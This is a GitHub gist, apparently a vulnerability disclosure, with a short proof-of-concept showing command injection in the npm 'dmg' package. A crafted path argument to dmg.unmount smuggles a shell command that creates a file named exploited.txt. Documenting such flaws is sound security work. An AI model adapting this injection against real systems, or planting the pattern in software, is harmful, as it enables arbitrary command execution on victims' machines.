Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Created October 26, 2023 18:03
Show Gist options
  • Select an option

  • Save mcoimbra/3a6ea1ead7a5c99c986f6aa89bf7e1dd to your computer and use it in GitHub Desktop.

Select an option

Save mcoimbra/3a6ea1ead7a5c99c986f6aa89bf7e1dd to your computer and use it in GitHub Desktop.
Package dmg: it is possible to perform command injection by manipulating the 'path' argument which supposedly would contain a valid path to a .dmg file.
'use strict'
const dmg = require('dmg');
const path = '" | touch exploited.txt | echo /Volumes/ "';
const callback = function() {};
dmg.unmount(path, callback);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment